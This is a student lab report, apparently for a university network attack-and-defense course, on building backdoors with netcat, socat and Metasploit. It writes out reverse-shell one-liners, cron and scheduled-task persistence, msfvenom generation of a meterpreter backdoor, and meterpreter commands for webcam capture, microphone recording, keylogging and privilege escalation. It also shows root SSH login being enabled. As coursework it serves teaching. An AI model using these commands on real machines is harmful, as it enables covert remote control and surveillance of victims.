2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践

2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践

课上知识点梳理总结

1.后门的概述
  • 后门是指不经过正常认证流程而访问系统的通道
  • 两个关键词:未认证、隐通道
  • 后门执行的过程:后门程序(.exe)->投送到系统中->启动->隐藏
2.NC或netcat
  • 进行基本的TCP、UDP数据收发
  • linux下自带ncat,man ncat可以查看用法
  • windows下需要下载ncat,且执行操作时需要在ncat路径下
  • windows(攻击者)获取linux(被攻击者)的shell
    • windows(攻击者)打开监听:ncat.exe -l -p port.linux其中-l 表示listen -p表示port
    • linux(被攻击者)反弹连接:nc ip.windows port.linux -e /bin/sh其中-e表示执行程序
      1047583-20190324142223572-1013736496.png
  • linux(攻击者)获取windows(被攻击者)的shell
    • linux(攻击者)打开监听:nc -l -p port.windows
    • windows(被攻击者)反弹连接:ncat.exe ip.linux port.windows -e cmd.exe
      1047583-20190324142259102-1620210025.png
  • nc传输文件
    • windows向linux发送文件
      • linux下打开监听端口,并把收到的数据保存到fileout.txt中:nc -l port > fileout.txt
      • windows反弹连接linux的端口:nc ip.linux port < filein.txt
      • 相当于将文件filein.txt的内容传送给fileout.txt
        1047583-20190324142322428-432366146.png
    • linux向windows发送文件
      - windows下打开监听端口,并把收到的数据保存到filein.txt中:ncat.exe -l port > filein.txt
      - linux反弹连接windows的端口:nc ip.windows port < fileout.txt
      - 相当于将文件fileout.txt的内容传送给filein.txt
      1047583-20190324142400320-706809225.png
  • nc传输数据
    • windows:ncat.exe -l -p port
    • linux:nc port ip.windows
    • 建立连接后,即可进行数据传输
      1047583-20190324142423255-1699283819.png
3.socat
  • socat是netcat的加强版,功能比netcat强大
  • 安装
    • linux:sudo apt-get install socat
    • windows:需要下载socat,且执行操作时需要在socat路径下
  • 基本语法:socat [options] <address> <address>
    • address常用的几个描述
      • -,STDIN,STDOUT 表示标准输入输出,可以就用一个横杠代替
      • /var/log/syslog 也可以是其他任意路径,如果是相对路径要使用./,打开一个文件作为数据流
      • TCP:建立一个TCP连接作为数据流,TCP也可以替换为UDP
      • TCP-LISTEN:建立TCP监听端口,TCP也可以替换为UDP
      • EXEC:执行一个程序作为数据流
  • socat当cat
    • 直接回显:socat - -
    • cat文件:socat - 文件路径
    • 写文件:echo "hello" | socat - 文件路径
      1047583-20190324142503929-798105935.png
  • socat当netcat
    • 连接远程端口:socat - TCP:ip:port
    • 监听端口:socat TCP-LISTEN:port -
    • 正向shell:socat TCP-LISTEN:port EXEC:/bin/bash
    • 反弹shell:socat tcp-connect:ip:port exec:'bash -li',pty,stderr,setsid,sigint,sane
  • 更多用法可详见:博客1博客2
4.Meterpreter
  • 将生成的shellcode存入指定的文件中:msfvenom -p windows/meterpreter/reverse_tcp host = ip.攻击方 port = port -f exe > 1.exe
    1047583-20190324142526687-990778555.png

Exp2.1使用netcat获取主机操作Shell,cron启动

有关cron
  • linux下的一个定时执行工具,在不需要人工干涉的情况下执行
  • cron服务提供crontab命令来设定cron服务,一些参数说明(参考链接)
    • -u设定某个用户的cron服务,一般root用户需要此参数
    • -l列出某个用户cron服务的详细内容
    • -r删除某个用户的cron服务
    • -e编辑某个用户的cron服务
  • 有关于cron表达式的含义讲解参考:博客1博客2
实验思路:既然cron为linux下定时执行工具,那就设定windows获取linux的shell,并通过设置让linux在指定的时间自启动
实验步骤:
  • windows下获取ip地址:ipconfig
    1047583-20190324142545729-1987016545.png

  • windows下监听端口:ncat.exe -l -p 5312
  • linux下编辑cron服务:crontab -e并选择3进入编辑器
  • 在最后一行加入:10 * * * * /bin/netcat 10.0.0.151 5312 -e /bin/sh意思为在每个小时的第10分钟都能成功反向连接
    1047583-20190324142600508-1251926546.png

  • 在17:10,在window下成功查看linux下文件
    1047583-20190324142615637-1874667307.png

Exp2.2使用socat获取主机操作Shell, 任务计划启动

实验思路:有关socat,在课上知识点总结中已经陈述。在Exp2.1中使用cron实现了linux下的计划启动,此实验为linux获取windows的shell,即实现windows下的计划启动。
实验步骤
  • windows标志->右键->计算机管理->任务计划程序->创建任务
    1047583-20190324142633458-1289107231.png

  • 常规->名称
    1047583-20190324142645957-1359710738.png

  • 触发器->新建,然后按照图示设置
    1047583-20190324142724202-231862605.png

  • 操作->新建,在程序或脚本中写入socat下载路径,在添加参数中写入tcp-listen:5312 exec:cmd.exe,pty,stderr实现反向shell
    1047583-20190324142702754-1901313398.png

  • windows+L锁定系统后,重新进入即可查看到exp2.2-20165312已经运行
    1047583-20190324142736408-2075322565.png

  • linux下连接远程端口:socat - tcp:10.0.0.151:5312
    1047583-20190324142751001-152407073.png

Exp2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

实验思路:结合课上所学nc传输文件以及meterpreter相关的知识即可进行实验,此实验实现从linux->windows。
实验步骤
  • 获取linux的ip:ifconfig
    1047583-20190324142806085-234834828.png

  • 在linux下生成.exe文件:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.133 LPORT=5312 -f exe > 20165312_backdoor.exe注意这里的ip为攻击方(linux)的地址
    1047583-20190324142823886-1824257642.png

  • windows下打开监听端口:ncat.exe -l -p 5312 > 20165312_backdoor.exe
  • linux反弹连接windows的端口:nc 10.0.0.151 5312 < 20165312_backdoor.exe
  • 在windows中查看到传输的文件
    1047583-20190324142845321-764512860.png

  • 在linux中另外打开一个终端,msfconsole进入msf控制台
    1047583-20190324142900310-1617975658.png

  • 使用监听模块:use exploit/multi/handler
  • 设置payload:set payload windows/meterpreter/reverse_tcp
  • 指定ip:set LHOST 192.168.219.133与生成后门程序的ip相同
  • 指定port:set LPORT 5312与生成后门程序的port相同
  • 显示信息:show options
    1047583-20190324142915436-1918945915.png

  • 执行监听:exploit
  • 在windows下执行后门程序:20165312_backdoor.exe或者直接双击执行
    1047583-20190324142934163-1708130474.png

  • 此时linux已经获得了Windows主机的连接,并且得到了远程控制的shell
    1047583-20190324142947876-754622690.png

Exp2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

实验思路:此实验是在Exp2.3基础上实现msf提权
实验步骤
  • 按照Exp2.3的操作,进行到exploit
  • 截取音频:record_mic
    1047583-20190324143001354-681846309.png

  • 获取摄像头拍照:webcam_snap
    1047583-20190324143016862-827645166.png

  • 截屏:screenshot
    1047583-20190324143031575-363939265.png

  • 记录击键的过程:keyscan_start读取击键的记录:keyscan_dump
    1047583-20190324143045987-854095138.png

  • 查看当前用户:getuid提取权限:getsystem
    提取权限的操作我遇到了bug,依旧在解决ing...(会在遇到的问题里面提到)
    1047583-20190324143058247-1513787349.png

实验过程中遇到的问题及解决方法

1.nc传送文件时,由windows传送给linux时,出现“由于目标计算机积极拒绝,无法连接”的错误

1047583-20190324143112118-1466578292.png

通过在群里和同学讨论,猜测这一问题和ssh有关。在此感谢王高源、李天龙同学。

解决方案:
  • 首先查看linux下有没有开启ssh服务:netstat -tlnp
    • 若回显Active Internet connections (only servers)没有开启ssh服务
  • 编辑sshd_config文件,允许远程登入:nano /etc/ssh/sshd_config
    • #PasswordAuthentication yes 修改为PasswordAuthentication yes
    • #PermitRootLogin yes 修改为PermitRootLogin yes?
    • ctrl+X保存并退出
  • SSHD服务设置为开机自启动:update-rc.d ssh enable
  • 重启kail后再尝试就ok了
参考博客链接
2.Exp2.3中,msfconsole进入msf控制台时出现以下问题

1047583-20190324143140753-113494718.png
由出错的英文分析得知虚拟机的内存不够,所以就增加内存即可(设置里面可以找到!)

3.Exp2.4中,getsystem提取权限时,出现以下问题

1047583-20190324143154781-1942331925.png

找了好久,找到了一个解决方法:http://www.mmcaijing.com/31330.html。这个是绕过 UAC 限制的操作,但是我在操作过程中遇到了新的问题,so...这个还没成功。

实验小结

  • 实验感想

    整体来说,这次实验不是太难。在我看来核心的内容是nc传输文件、使用MSF生成shellcode和实现msf提权。但我在做实验的过程中遇到了不少的问题,其中不乏有非技术性输错指令,这就很费时间。我会反思减少这种错误。除此之外,也遇到了一些找了很多资料才解决的问题,通过这个过程,也让我锻炼了英语。。所以这次实验不仅让我更加了解后门,也让我在以后做实验的时候再认真一点,减少幼稚错误。

  • 例举你能想到的一个后门进入到你系统中的可能方式

    电脑下载的软件里面,毕竟每一个软件里面都有后门

  • 例举你知道的后门如何启动起来(win及linux)的方式

    linux:cron定时启动

    windows:修改注册表项

  • Meterpreter有哪些给你印象深刻的功能

    生成shellcode,可以获取被控机的音频文件、开启摄像头和录像功能,捕获画面。(之前关闭摄像头了,但是觉得还是害怕.jpg)

  • 如何发现自己有系统有没有被安装后门

    打开任务管理器,查看当前运行进程

    查看注册表是否被修改过

    防火墙

    杀毒软件

转载于:https://www.cnblogs.com/cxgg/p/10588116.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值